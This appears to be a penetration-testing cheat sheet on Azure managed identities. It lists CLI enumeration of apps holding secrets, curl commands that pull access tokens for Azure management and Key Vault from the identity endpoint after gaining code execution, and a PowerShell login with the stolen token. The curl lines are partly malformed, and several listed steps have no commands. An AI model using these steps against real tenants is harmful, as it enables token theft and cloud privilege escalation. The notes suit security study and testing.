Managed identity and apps
If a resource needs access to another system, such as a webapp needed database access, you can give it a "managed identity" which allows it to auth to another resource.
Enumeration
Azure CLI
List all applications
Get app information
Search apps by name
Get owner of an app
Get apps owned by current user
Get apps generated with a secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Get all managed identities with their SP
Identify
If you get code exec on a resource, check environment variables for
Exploit
You can use these two env vars to request an access token from the azure metadata provider for the azure management api.
curl -H "X-IDENTITY-HEADER: $IDENTITY_HEADER $IDENTITY_ENDPOINT?
resource=https://management.azure.com&api-version=2019-08-01"
or for azure vault
curl -s -H "X-Identity-Header: $IDENTITY_HEADER
$IDENTITY_ENDPOINT?api-version=2019-08-
01&resource=https://vault.azure.net"
Then, decode the JWT to understand for about the permissions.
Auth with token
$accesstoken = "<YOUR-TOKEN>"
$accountid = "is required but not validated"
Connect-AzAccount -AccessToken $accesstoken -AccountID $accountid
Check access